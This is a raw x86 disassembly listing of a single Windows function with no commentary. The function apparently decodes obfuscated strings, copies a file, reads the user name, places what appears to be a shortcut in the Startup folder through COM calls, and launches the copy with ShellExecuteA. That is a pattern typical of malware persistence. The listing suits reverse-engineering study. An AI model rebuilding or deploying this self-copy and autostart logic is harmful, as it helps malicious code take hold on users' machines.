or ebx, 0x1000
lea ecx, [ebp - 0x870]
mov dword [ebp - 0x10], ebx
call fcn.004168e0
mov byte [ebp - 0x11], 0
test al, al
je 0x449abd
mov byte [ebp - 0x11], 1
mov dword [ebp - 4], 0xa2
test ebx, 0x1000
je 0x449ae0
and ebx, 0xffffefff
lea ecx, [ebp - 0x870]
mov dword [ebp - 0x10], ebx
call fcn.00402b10
cmp byte [ebp - 0x11], 0
je 0x44a0ef
lea ecx, [ebp - 0x175]
mov dword [ebp - 0x175], 0x8f918dc9
mov word [ebp - 0x171], 0x100
call fcn.0040ac50
lea ecx, [ebp - 0xcd]
mov word [ebp - 0xcd], 0xbb
mov esi, eax
mov byte [ebp - 0xcb], 1
call fcn.0040ace0
push eax
lea edx, [ebp - 0x494]
lea ecx, [ebp - 0xa68]
call fcn.0046d070
mov byte [ebp - 4], 0xa6
lea ecx, [ebp - 0x4c4]
push ecx
mov edx, eax
lea ecx, [ebp - 0xa50]
call fcn.0046d2f0
mov byte [ebp - 4], 0xa7
mov edx, eax
push esi
lea ecx, [ebp - 0x6e8]
call fcn.0046d100
add esp, 0xc
mov byte [ebp - 4], 0xa9
lea ecx, [ebp - 0xa50]
call fcn.00402b10
mov byte [ebp - 4], 0xaa
lea ecx, [ebp - 0xa68]
call fcn.00402b10
sub esp, 0x18
lea eax, [ebp - 0x6e8]
mov ecx, esp
mov dword [ebp - 0x5c4], esp
push eax
call fcn.00468b20
mov byte [ebp - 4], 0xab
mov byte [ebp - 4], 0xaa
call fcn.0040b2b0
add esp, 0x18
test al, al
jne 0x44a0e0
lea ecx, [ebp - 0x6e8]
call fcn.004687e0
lea ecx, [ebp - 0x3bc]
mov esi, eax
call fcn.004687e0
push 0
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x44a0e0
push 0x104
lea eax, [ebp - 0xe7c]
mov dword [ebp - 0x94], 0x104
push 0
push eax
call fcn.004e1ab0
add esp, 0xc
lea eax, [ebp - 0x94]
push eax
lea eax, [ebp - 0xe7c]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
lea ecx, [ebp - 0x50]
mov dword [ebp - 0x50], 0xc8bba0c7
mov dword [ebp - 0x4c], 0x8d9ec3cb
mov dword [ebp - 0x48], 0xa7beb8cf
mov dword [ebp - 0x44], 0xd6acb8a1
mov dword [ebp - 0x40], 0xda958ad8
mov dword [ebp - 0x3c], 0xb6bab5b3
mov dword [ebp - 0x38], 0x5553ba
mov byte [ebp - 0x34], 1
call fcn.0040eda0
lea ecx, [ebp - 0xbb]
mov dword [ebp - 0xfc], eax
mov word [ebp - 0xbb], 0xb8
mov byte [ebp - 0xb9], 1
call fcn.0040ace0
lea ecx, [ebp - 0x1e3]
mov dword [ebp - 0x68], eax
mov dword [ebp - 0x1e3], 0x9ec6c8c5
mov dword [ebp - 0x1df], 0xcfcc85
mov byte [ebp - 0x1db], 1
call fcn.0040ac80
lea ecx, [ebp - 0x1ec]
mov dword [ebp - 0x1ec], 0x9ec6c8c5
mov ebx, eax
mov dword [ebp - 0x1e8], 0xcfcc99
mov byte [ebp - 0x1e4], 1
call fcn.0040ac80
mov edi, eax
lea ecx, [ebp - 0xb28]
lea eax, [ebp - 0xe7c]
push eax
call fcn.00402b80
mov esi, eax
mov byte [ebp - 4], 0xac
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x2c], 0x9e818b94
mov dword [ebp - 0x28], 0x9d869f8a
mov dword [ebp - 0x24], 0x8092dfcf
mov dword [ebp - 0x20], 0x93819596
mov dword [ebp - 0x1c], 0xda9fd7d7
mov dword [ebp - 0x18], 0xdea8aed4
mov word [ebp - 0x14], 0xdd
mov byte [ebp - 0x12], 1
call fcn.00416700
push esi
mov edx, eax
lea ecx, [ebp - 0xb10]
call fcn.0046d240
mov byte [ebp - 4], 0xad
mov edx, eax
push edi
lea ecx, [ebp - 0xaf8]
call fcn.0046d100
mov byte [ebp - 4], 0xae
lea ecx, [ebp - 0x6e8]
push ecx
mov edx, eax
lea ecx, [ebp - 0xae0]
call fcn.0046d2f0
mov byte [ebp - 4], 0xaf
mov edx, eax
push ebx
lea ecx, [ebp - 0xac8]
call fcn.0046d100
mov byte [ebp - 4], 0xb0
lea ecx, [ebp - 0x4c4]
push ecx
mov edx, eax
lea ecx, [ebp - 0xab0]
call fcn.0046d2f0
mov byte [ebp - 4], 0xb1
mov edx, eax
push dword [ebp - 0x68]
lea ecx, [ebp - 0xa98]
call fcn.0046d100
mov byte [ebp - 4], 0xb2
lea ecx, [ebp - 0x32c]
push ecx
mov edx, eax
lea ecx, [ebp - 0xa80]
call fcn.0046d100
mov byte [ebp - 4], 0xb3
mov edx, eax
push dword [ebp - 0xfc]
lea ecx, [ebp - 0x8a0]
call fcn.0046d100
add esp, 0x20
mov byte [ebp - 4], 0xb5
lea ecx, [ebp - 0xa80]
call fcn.00402b10
mov byte [ebp - 4], 0xb6
lea ecx, [ebp - 0xa98]
call fcn.00402b10
mov byte [ebp - 4], 0xb7
lea ecx, [ebp - 0xab0]
call fcn.00402b10
mov byte [ebp - 4], 0xb8
lea ecx, [ebp - 0xac8]
call fcn.00402b10
mov byte [ebp - 4], 0xb9
lea ecx, [ebp - 0xae0]
call fcn.00402b10
mov byte [ebp - 4], 0xba
lea ecx, [ebp - 0xaf8]
call fcn.00402b10
mov byte [ebp - 4], 0xbb
lea ecx, [ebp - 0xb10]
call fcn.00402b10
mov byte [ebp - 4], 0xbc
lea ecx, [ebp - 0xb28]
call fcn.00402b10
sub esp, 0x18
lea ecx, [ebp - 0x8a0]
xor bl, bl
mov dword [ebp - 0x590], esp
mov esi, esp
call fcn.004687e0
push eax
mov ecx, esi
call fcn.00402b80
mov byte [ebp - 4], 0xbd
mov byte [ebp - 4], 0xbc
mov cl, bl
call fcn.00416b50
add esp, 0x18
mov dword [ebp - 0x51], 0xc8aea4c7
mov dword [ebp - 0x4d], 0x8d9ec3cb
mov dword [ebp - 0x49], 0xbebfbfcf
mov dword [ebp - 0x45], 0xb8bab3bc
mov dword [ebp - 0x41], 0x968bd7d7
mov dword [ebp - 0x3d], 0xb9b4b4db
mov dword [ebp - 0x39], 0x565245b7
lea ecx, [ebp - 0x51]
mov word [ebp - 0x35], 0x100
call fcn.00414450
lea ecx, [ebp - 0xbe]
mov dword [ebp - 0x68], eax
mov word [ebp - 0xbe], 0xb8
mov byte [ebp - 0xbc], 1
call fcn.0040ace0
lea ecx, [ebp - 0x1f5]
mov dword [ebp - 0xfc], eax
mov dword [ebp - 0x1f5], 0x9ec6c8c5
mov dword [ebp - 0x1f1], 0xcfcc85
mov byte [ebp - 0x1ed], 1
call fcn.0040ac80
lea ecx, [ebp - 0x1fe]
mov dword [ebp - 0x1fe], 0x9ec6c8c5
mov ebx, eax
mov dword [ebp - 0x1fa], 0xcfcc99
mov byte [ebp - 0x1f6], 1
call fcn.0040ac80
mov edi, eax
lea ecx, [ebp - 0xbe8]
lea eax, [ebp - 0xe7c]
push eax
call fcn.00402b80
mov esi, eax
mov byte [ebp - 4], 0xbe
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x2c], 0x9e818b94
mov dword [ebp - 0x28], 0x9d869f8a
mov dword [ebp - 0x24], 0x8092dfcf
mov dword [ebp - 0x20], 0x93819596
mov dword [ebp - 0x1c], 0xda9fd7d7
mov dword [ebp - 0x18], 0xdea8aed4
mov word [ebp - 0x14], 0xdd
mov byte [ebp - 0x12], 1
call fcn.00416700
push esi
mov edx, eax
lea ecx, [ebp - 0xbd0]
call fcn.0046d240
mov byte [ebp - 4], 0xbf
mov edx, eax
push edi
lea ecx, [ebp - 0xbb8]
call fcn.0046d100
mov byte [ebp - 4], 0xc0
lea ecx, [ebp - 0x6e8]
push ecx
mov edx, eax
lea ecx, [ebp - 0xba0]
call fcn.0046d2f0
mov byte [ebp - 4], 0xc1
mov edx, eax
push ebx
lea ecx, [ebp - 0xb88]
call fcn.0046d100
mov byte [ebp - 4], 0xc2
lea ecx, [ebp - 0x4c4]
push ecx
mov edx, eax
lea ecx, [ebp - 0xb70]
call fcn.0046d2f0
mov byte [ebp - 4], 0xc3
mov edx, eax
push dword [ebp - 0xfc]
lea ecx, [ebp - 0xb58]
call fcn.0046d100
mov byte [ebp - 4], 0xc4
lea ecx, [ebp - 0x32c]
push ecx
mov edx, eax
lea ecx, [ebp - 0xb40]
call fcn.0046d100
mov byte [ebp - 4], 0xc5
mov edx, eax
push dword [ebp - 0x68]
lea ecx, [ebp - 0x888]
call fcn.0046d100
add esp, 0x20
mov byte [ebp - 4], 0xc7
lea ecx, [ebp - 0xb40]
call fcn.00402b10
mov byte [ebp - 4], 0xc8
lea ecx, [ebp - 0xb58]
call fcn.00402b10
mov byte [ebp - 4], 0xc9
lea ecx, [ebp - 0xb70]
call fcn.00402b10
mov byte [ebp - 4], 0xca
lea ecx, [ebp - 0xb88]
call fcn.00402b10
mov byte [ebp - 4], 0xcb
lea ecx, [ebp - 0xba0]
call fcn.00402b10
mov byte [ebp - 4], 0xcc
lea ecx, [ebp - 0xbb8]
call fcn.00402b10
mov byte [ebp - 4], 0xcd
lea ecx, [ebp - 0xbd0]
call fcn.00402b10
mov byte [ebp - 4], 0xce
lea ecx, [ebp - 0xbe8]
call fcn.00402b10
sub esp, 0x18
lea ecx, [ebp - 0x888]
xor bl, bl
mov dword [ebp - 0x71c], esp
mov esi, esp
call fcn.004687e0
push eax
mov ecx, esi
call fcn.00402b80
mov byte [ebp - 4], 0xcf
mov byte [ebp - 4], 0xce
mov cl, bl
call fcn.00416b50
add esp, 0x18
mov byte [ebp - 4], 0xbc
lea ecx, [ebp - 0x888]
call fcn.00402b10
mov byte [ebp - 4], 0xaa
lea ecx, [ebp - 0x8a0]
call fcn.00402b10
mov ebx, dword [ebp - 0x10]
mov byte [ebp - 4], 0xa2
lea ecx, [ebp - 0x6e8]
call fcn.00402b10
mov byte [ebp - 4], 0x96
lea ecx, [ebp - 0x494]
call fcn.00402b10
cmp byte [ebp - 0x6e], 0
je 0x44a569
lea ecx, [ebp - 0x16f]
mov dword [ebp - 0x16f], 0xbaa4adb3
mov word [ebp - 0x16b], 0x100
call fcn.0040ac50
push eax
call fcn.004ee4e1
add esp, 4
test eax, eax
je 0x44a569
push eax
lea ecx, [ebp - 0x4ac]
call fcn.00402b80
mov byte [ebp - 4], 0xd0
lea ecx, [ebp - 0xc1]
mov word [ebp - 0xc1], 0xbb
mov byte [ebp - 0xbf], 1
call fcn.0040ace0
push eax
lea ecx, [ebp - 0x4ac]
call fcn.00468990
lea ecx, [ebp - 0xc4]
mov word [ebp - 0xc4], 0xb8
mov byte [ebp - 0xc2], 1
call fcn.0040ace0
push eax
lea edx, [ebp - 0x4dc]
lea ecx, [ebp - 0xc18]
call fcn.0046d070
mov byte [ebp - 4], 0xd1
lea ecx, [ebp - 0x32c]
push ecx
mov edx, eax
lea ecx, [ebp - 0xc00]
call fcn.0046d100
add esp, 8
mov byte [ebp - 4], 0xd2
lea ecx, [ebp - 0x4ac]
push eax
call fcn.00468970
mov byte [ebp - 4], 0xd1
lea ecx, [ebp - 0xc00]
call fcn.00402b10
mov byte [ebp - 4], 0xd0
lea ecx, [ebp - 0xc18]
call fcn.00402b10
lea ecx, [ebp - 0x4ac]
call fcn.004687e0
mov ecx, eax
call fcn.0040b340
test al, al
jne 0x44a231
lea ecx, [ebp - 0x4ac]
call fcn.004687e0
push eax
lea ecx, [ebp - 0x738]
call fcn.00402b80
mov byte [ebp - 4], 0xd3
or ebx, 0x2000
lea ecx, [ebp - 0x738]
mov dword [ebp - 0x10], ebx
call fcn.004168e0
mov byte [ebp - 0x11], 0
test al, al
je 0x44a235
mov byte [ebp - 0x11], 1
mov dword [ebp - 4], 0xd0
test ebx, 0x2000
je 0x44a258
and ebx, 0xffffdfff
lea ecx, [ebp - 0x738]
mov dword [ebp - 0x10], ebx
call fcn.00402b10
cmp byte [ebp - 0x11], 0
je 0x44a55a
lea ecx, [ebp - 0x169]
mov dword [ebp - 0x169], 0x8f918dc9
mov word [ebp - 0x165], 0x100
call fcn.0040ac50
lea ecx, [ebp - 0xc7]
mov word [ebp - 0xc7], 0xbb
mov esi, eax
mov byte [ebp - 0xc5], 1
call fcn.0040ace0
push eax
lea edx, [ebp - 0x4ac]
lea ecx, [ebp - 0xc48]
call fcn.0046d070
mov byte [ebp - 4], 0xd4
lea ecx, [ebp - 0x4dc]
push ecx
mov edx, eax
lea ecx, [ebp - 0xc30]
call fcn.0046d2f0
mov byte [ebp - 4], 0xd5
mov edx, eax
push esi
lea ecx, [ebp - 0x7b0]
call fcn.0046d100
add esp, 0xc
mov byte [ebp - 4], 0xd7
lea ecx, [ebp - 0xc30]
call fcn.00402b10
mov byte [ebp - 4], 0xd8
lea ecx, [ebp - 0xc48]
call fcn.00402b10
sub esp, 0x18
lea eax, [ebp - 0x7b0]
mov ecx, esp
mov dword [ebp - 0x660], esp
push eax
call fcn.00468b20
mov byte [ebp - 4], 0xd9
mov byte [ebp - 4], 0xd8
call fcn.0040b2b0
add esp, 0x18
test al, al
jne 0x44a34f
lea ecx, [ebp - 0x7b0]
call fcn.004687e0
lea ecx, [ebp - 0x3bc]
mov esi, eax
call fcn.004687e0
push 0
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x44a54b
lea eax, [ebp - 0xe7c]
push eax
push 0
push 0
push 7
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
js 0x44a54b
lea eax, [ebp - 0xe7c]
push eax
lea ecx, [ebp - 0x798]
call fcn.00402b80
mov byte [ebp - 4], 0xda
lea ecx, [ebp - 0x163]
mov dword [ebp - 0x163], 0x818784c9
mov word [ebp - 0x15f], 0x100
call fcn.0040ac50
mov esi, eax
mov word [ebp - 0xca], 0xbb
lea eax, [ebp - 0x4dc]
mov byte [ebp - 0xc8], 1
push eax
lea ecx, [ebp - 0xca]
call fcn.0040ace0
mov edx, eax
lea ecx, [ebp - 0xc78]
call fcn.0046d1b0
mov byte [ebp - 4], 0xdb
mov edx, eax
push esi
lea ecx, [ebp - 0xc60]
call fcn.0046d100
add esp, 8
mov byte [ebp - 4], 0xdc
lea ecx, [ebp - 0x798]
push eax
call fcn.00468970
mov byte [ebp - 4], 0xdb
lea ecx, [ebp - 0xc60]
call fcn.00402b10
mov byte [ebp - 4], 0xda
lea ecx, [ebp - 0xc78]
call fcn.00402b10
sub esp, 0x18
lea eax, [ebp - 0x798]
mov ecx, esp
mov dword [ebp - 0x5c0], esp
push eax
call fcn.00468b20
mov byte [ebp - 4], 0xdd
mov byte [ebp - 4], 0xda
call fcn.0040b2b0
add esp, 0x18
test al, al
jne 0x44a53c
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
test eax, eax
js 0x44a53c
lea eax, [ebp - 0x84]
push eax
push 0x517520
push 1
push 0
push 0x517550
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x44a536
mov eax, dword [ebp - 0x84]
lea ecx, [ebp - 0x7b0]
mov eax, dword [eax]
mov esi, dword [eax + 0x50]
call fcn.004687e0
push eax
push dword [ebp - 0x84]
call esi
mov eax, dword [ebp - 0x84]
lea ecx, [ebp - 0x4dc]
mov eax, dword [eax]
mov esi, dword [eax + 0x1c]
call fcn.004687e0
push eax
push dword [ebp - 0x84]
call esi
mov ecx, dword [ebp - 0x84]
lea edx, [ebp - 0x268]
push edx
push 0x517530
push ecx
mov eax, dword [ecx]
call dword [eax]
test eax, eax
js 0x44a52a
push 0x208
lea eax, [ebp - 0x1084]
push 0
push eax
call fcn.004e1ab0
add esp, 0xc
lea eax, [ebp - 0x1084]
lea ecx, [ebp - 0x798]
push 0x104
push eax
push 0xffffffffffffffff
call fcn.004687e0
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov ecx, dword [ebp - 0x268]
lea edx, [ebp - 0x1084]
push 1
push edx
push ecx
mov eax, dword [ecx]
call dword [eax + 0x18]
mov eax, dword [ebp - 0x268]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x84]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
mov byte [ebp - 4], 0xd8
lea ecx, [ebp - 0x798]
call fcn.00402b10
mov byte [ebp - 4], 0xd0
lea ecx, [ebp - 0x7b0]
call fcn.00402b10
mov byte [ebp - 4], 0x96
lea ecx, [ebp - 0x4ac]
call fcn.00402b10
lea ecx, [ebp - 0x3bc]
call fcn.004687e0
lea ecx, [ebp - 0xd3]
mov dword [ebp - 0xd3], 0x848c9888
mov esi, eax
mov word [ebp - 0xcf], 0x100
call fcn.00465960
push 1
push 0
push 0
push esi
lea eax, [ebp - 0xd3]
push eax
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
sub esp, 0x18
lea eax, [ebp - 0x50c]
mov ecx, esp
mov dword [ebp - 0x5bc], esp
push eax
call fcn.00468b20
mov byte [ebp - 4], 0xde
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x66c], esp
push 0x541d9c
call fcn.00468b20
mov byte [ebp - 4], 0xdf
mov byte [ebp - 4], 0x96
call fcn.0041f1f0
add esp, 0x30
mov byte [ebp - 4], 0xe0
lea ecx, [ebp - 0x4c4]
call fcn.00402c80
mov byte [ebp - 4], 0x95
lea eax, [ebp - 0x4c4]
mov dword [ebp - 0x5b8], eax
mov byte [ebp - 4], 0xe3
lea ecx, [ebp - 0x4dc]
call fcn.00402c80
mov byte [ebp - 4], 0x94
lea eax, [ebp - 0x4dc]
mov dword [ebp - 0x5b4], eax
mov byte [ebp - 4], 0xe6
lea ecx, [ebp - 0x700]
call fcn.00402c80
mov byte [ebp - 4], 0x90
lea eax, [ebp - 0x700]
mov dword [ebp - 0x5b0], eax
mov byte [ebp - 4], 0x90
mov byte [ebp - 4], 0xe9
lea ecx, [ebp - 0x3bc]
call fcn.00402c80
mov byte [ebp - 4], 0x70
lea eax, [ebp - 0x3bc]
mov dword [ebp - 0x5ac], eax
mov byte [ebp - 4], 0x6b
lea ecx, [ebp - 0x3a4]
call fcn.0046ac50
mov byte [ebp - 4], 0xec
lea ecx, [ebp - 0x260]
call fcn.00402c80
mov byte [ebp - 4], 0x23
lea eax, [ebp - 0x260]
mov dword [ebp - 0x5a8], eax
mov byte [ebp - 4], 0x23
mov byte [ebp - 4], 0x20
lea ecx, [ebp - 0x2c4]
call fcn.0046ac50
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0x280]
call fcn.0046ac50
mov byte [ebp - 4], 0xef
lea ecx, [ebp - 0x4f4]
call fcn.00402c80
mov byte [ebp - 4], 0xd
lea eax, [ebp - 0x4f4]
mov dword [ebp - 0x5a4], eax
mov byte [ebp - 4], 0xf2
lea ecx, [ebp - 0x308]
call fcn.00402c80
mov byte [ebp - 4], 0xc
lea eax, [ebp - 0x308]
mov dword [ebp - 0x5a0], eax
mov byte [ebp - 4], 0xf5
lea ecx, [ebp - 0x718]
call fcn.00402c80
mov byte [ebp - 4], 0xb
lea eax, [ebp - 0x718]
mov dword [ebp - 0x59c], eax
mov byte [ebp - 4], 0xf8
lea ecx, [ebp - 0x7c8]
call fcn.00402c80
mov byte [ebp - 4], 0xa
lea eax, [ebp - 0x7c8]
mov dword [ebp - 0x598], eax
mov byte [ebp - 4], 0xfb
lea ecx, [ebp - 0x50c]
call fcn.00402c80
mov byte [ebp - 4], 7
lea eax, [ebp - 0x50c]
mov dword [ebp - 0x594], eax
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x3ec]
call fcn.00465200
lea eax, [ebp - 0x7f8]
push eax
lea ecx, [ebp - 0x3ec]
call fcn.0046a100
test al, al
je 0x447333
mov byte [ebp - 4], 6
lea ecx, [ebp + 8]
call fcn.00402b10
mov byte [ebp - 4], 5
lea ecx, [ebp + 0x20]
call fcn.004662d0
mov byte [ebp - 4], 4
lea ecx, [ebp + 0x30]
call fcn.004662d0
mov byte [ebp - 4], 3
lea ecx, [ebp + 0x40]
call fcn.004662d0
mov byte [ebp - 4], 2
lea ecx, [ebp + 0x50]
call fcn.004662d0
mov byte [ebp - 4], 1
lea ecx, [ebp + 0x60]
call fcn.004662d0
mov byte [ebp - 4], 0
lea ecx, [ebp + 0x70]
call fcn.004662d0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 0x80]
call fcn.00402b10
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret